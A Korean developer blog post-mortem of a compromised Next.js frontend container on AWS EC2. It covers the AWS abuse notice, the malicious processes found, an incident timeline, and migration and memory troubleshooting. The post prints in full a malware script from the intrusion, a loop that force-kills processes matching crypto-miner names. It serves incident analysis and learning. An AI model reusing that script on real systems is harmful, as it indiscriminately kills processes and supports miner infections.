[Insty] Next.js 보안으로 인한 악성파일 이슈

Hello,

We've received a report(s) that your AWS resource(s)

AWS ID: xxxxx Region: ap-northeast-2 EC2 Instance Id: xxxxx

has been implicated in activity that resembles a Denial of Service attack against remote hosts; please review the information provided below about the activity.

Please take action to stop the reported activity and reply directly to this email with details of the corrective actions you have taken. If you do not consider the activity described in these reports to be abusive, please reply to this email with details of your use case.

If you're unaware of this activity, it's possible that your environment has been compromised by an external attacker or a vulnerability is allowing your machine to be used in a way that it was not intended.

We are unable to assist you with troubleshooting or technical inquiries. However, for guidance on securing your instance, we recommend reviewing the following resources:

Amazon EC2 Security Groups User Guide:
https://docs.aws.amazon.com/

어느날 서비스 중인 AWS EC2 인스턴스에 대해 AWS측에서 메일이 왔다.

 

내용을 요약하면,

EC2 인스턴스 (dev 인스턴스) 가 외부 서버에 대량 트래픽을 보내고 있다는 내용.
AWS에서는 인스턴스 서버를 통해 DDOS로 의심되는 공격이 진행됐다고 판단하여 메일을 보낸 것이다.

 

cloudtrail을 통해 확인해 봤을 때 이상 API가 호출된 것은 없고 인스턴스 내의 네트워크 트래픽에도 문제는 없었다. 따라서, 처음엔 큰 문제라고 생각하지는 않았고 내부에서 비밀번호나 키페어의 오류로 ssh 접근을 계속 시도했거나 로직에서 무한루프가 굉장히 오래 돌았다거나 하는 이유라고 생각했다.

 

또한, 우리 서비스는 영상 업로드 시 AI 분석을 통해 썸네일 이미지와 해당 영상의 중요한 부분을 프리뷰로 만드는 기능이 있는데 이 기능에 문제가 생겨 영상 관련한 테스트를 꽤나 오래 했었다. 이게 문제인가.... 하고 생각하던 순간 

 

너무 문제가 없어서 일시적으로 발생했다가 종료되었을수도 있다고 생각을 했으나 또 하나의 가능성은 redis같은 서버리스 형태나 docker 컨테이너에서 트래픽 발생했을 가능성을 염두해 두고 확인한 결과

• root  781284  ash /dev/stink.sh
• root 1351954  ash /dev/health.sh
• root 1351957  /dev/fghgf -c /dev/ijnegrrinje.json -B
• root  861697  /tmp/kamd64
• root  810542  ./ddd  

와 같은 프로세스들이 "프론트엔드" 컨테이너에서 발견되었다.

 

이런 프로세스들이 프론트엔드 컨테이너에 존재한다는게 말이 안된다.. 특히 "stink.sh" 라는 파일명만 봐도 알 수 있듯이 악성파일이라는 느낌이 왔고 내용을 보니 

while true; do
    for proc_dir in /proc/[0-9]*; do
        pid=${proc_dir##*/}

        if strings "/proc/$pid/exe" 2>/dev/null | grep -Eq 'xmrig|rondo|UPX 5'; then
            kill -9 "$pid"
            continue
        fi

        result=$(ls -l "/proc/$pid/exe" 2>/dev/null)

        case "$result" in
            *(deleted)* | *xmrig* | *hash* | *watcher* | */dev/a* | *softirq* | *rondo* | *UPX 5.02* )
                kill -9 "$pid"
                ;;
        esac
    done

    sleep 45
done

채굴목적으로 보이는 다른 프로세스를 주기적으로 찾아서 무차별 강제 종료하는 스크립트이다.

 

그럼 좋은게 아닌가 할 수 있는데 원인을 해결하지 않는 것이기 때문에 

프로세스가 생기고 죽이고를 무한반복하게 되는 것이다. 채굴 악성코드는 서로 경쟁을 하기 때문에 자기의 것만 살리기 위해 다른 프로세스를 죽이는 스크립트를 같이 생성한다고 한다. 

그리고 오탐의 여지가 많아 정상 서비스도 죽일 수 있기 때문에 이 자체가 DoS인 것이다. 

 

또한, 확인해 보니 12/3 next.js에서 공식적으로 보안 이슈를 발표했다.

내용의 일부분으로

---

영향을 받는 Next.js 버전
App Router에서 React 서버 구성 요소를 사용하는 애플리케이션은 다음 버전에서 실행될 때 영향을 받습니다.

Next.js 15.x
Next.js 16.x
Next.js 14.3.0-canary.77 이상 canary 릴리스
Next.js 13.x, Next.js 14.x

안정 버전, Pages Router 애플리케이션 및 Edge Runtime은 영향을 받지 않습니다.수정된 버전
다음 Next.js 패치 버전에서 해당 취약점이 완전히 해결되었습니다.

15.0.5
15.1.9
15.2.6
15.3.6
15.4.8
15.5.7
16.0.7
또한 Next.js 15 및 16용 패치된 카나리 릴리스를 출시했습니다.

---

완전 우리 서비스에 해당하는 내용이었다 ㅋㅋ..

 

 

타임라인을 정리해 보자면

보안 사고 히스토리 타임라인

2024-12-06 12:44

insty-frontend 컨테이너 생성

• 프론트엔드 컨테이너 배포

2024-12-07 ~ 2024-12-09

외부 공격자 침입

• 외부에서 xxxx번 포트 스캔 수행
• 취약점 exploit 성공 → 컨테이너 침해

악성 행위

• 다음 파일 다운로드 및 실행
  • /dev/stink.sh
  • /tmp/kamd64
  • /dev/fghgf
• 백그라운드 크립토 마이너 설치
• 봇넷 에이전트 설치

 2024-12-09 17:50

C2(Command & Control) 서버 명령 실행

• 해커 C2 서버에서 “공격 시작” 명령 수신
• 외부 대상에 대해 약 200,000 SYN Flood 발생
• 결과:
  • AWS Abuse Report 수신

요약

• 초기 침입 경로: 외부 xxxx 포트 노출
• 침해 대상: insty-frontend 컨테이너
• 공격 유형:
  • 암호화폐 채굴 (Crypto Mining)
  • 봇넷 감염
  • DDoS(SYN Flood) 공격 가담
• 영향:
  • 외부 공격 트래픽 발생
  • AWS Abuse Report 접수

 

 

이와 관련해서 github action runner가 offline으로 바뀌며 CI/CD도 불가능한 상태가 되었다.

이 문제로 인해, AWS 팀에서 아예 outbound를 막아 놓은 상황으로 보였다.(EC2에서 Github Action 서버로 나가는 outbound HTTPS가 아예 막혀 있고, BE github runner도 offline 상태로 보이나 EC2에선 켜져 있음)

 

컨테이너 내부에서 악성파일이 생성되고 있었기 때문에 컨테이너, 이미지만 재배포를 진행하려 했으나 도커는 격리된 환경일 뿐 결국 호스트 서버가 뚫렸다고 보는게 맞다고 판단하여 EC2 재배포를 진행하기로 결정했다.

 

AMI로 새 인스턴스 생성 시 악성파일이 그대로 같이 설치되기 때문에 수동으로 마이그레이션을 진행해야 했다.

다행히 거의 모든 CI/CD 및 웹 설정을 깃헙을 통해 진행하고 있었기 때문에 백업할 내용이 많지는 않았다.

 

웹서버로 nignx를 사용하고 있었기 때문에 nginx의 설정 파일들에 대한 백업, 배포 관련한 키페어 파일이 있었다.

각종 env나 DockerFile 등은 프로젝트 내부에 있기 때문에 백업할 필요가 없었다. 

 

이제 마이그레이션 순서로

1. EC2 생성 및 원본 교체

2. 서버 기본 세팅 (apt 업데이트, 도커 설치, 도커 컴포즈 설치, nginx 설치 및 백업 파일 복구)

3. 깃헙 컨테이너 레지스트리 로그인

4. 그리고 제일 중요한 self-hosted-runner 재설치

 

workflow의 yml에서 어떤 라벨명을 사용하는지 확인이 필요했으며 이에 따른 네이밍과 조직 단위로 사용할 수 있게 설정하는 등 꽤나 오래 걸렸던 것 같다. 어쨌든 runner 까지 설정을 마치고 이제 더미 커밋&푸쉬를 통해서 CI/CD가 정상적으로 작동하는지만 확인하면 되는데....

 

프론트엔드는 문제없이 진행됐지만 백엔드를 푸쉬하니 엄청난 네트워크 트래픽 폭증과 함께 서버 및 도메인 접속에 지연이 되고 결국 서버다운으로 이어지는 문제가 발생했다.

 

기존에 개발서버는 t2.micro를 사용하다가 시간지연의 문제를 느끼고 있던 터라 마이그레이션 하는 김에 t3.micro로 업그레이드 하고자 했는데 개선은 커녕 서버다운이라니;;

 

굉장히 당혹스러웠다. 찾아보니 t2는 느려도 멈추지는 않지만 t3는 스로틀링에 걸려 과부하 시 멈춰버리는 특징이 있다고 한다.

그래서 그런가.. 하고 t2로 다시 인스턴스 재설정 후 깃헙액션을 실행하니 동일한 현상으로 서버다운이 되었다.

 

그래서 생각한 건 메모리 문제일 수 있겠다고 생각했다. micro인스턴스는 기본적으로 1GB 메모리 사양이다.

따라서 확인해 보니 아무 작업을 하지 않을 때에도 8~900MB의 메모리를 사용 중이었다. 이러니 백엔드는 스프링부트 + redis + 도커 + runner가 동시에 발생하기 때문에 oom이 걸려 터지는 것이었다. 

 

따라서, t3.small로 업그레이드하여 2GB 메모리 사양으로 변경 후 진행하니 아무 지연없이 CI/CD 깃헙액션이 정상 작동하였고 서버 마이그레이션 작업이 완료되었다.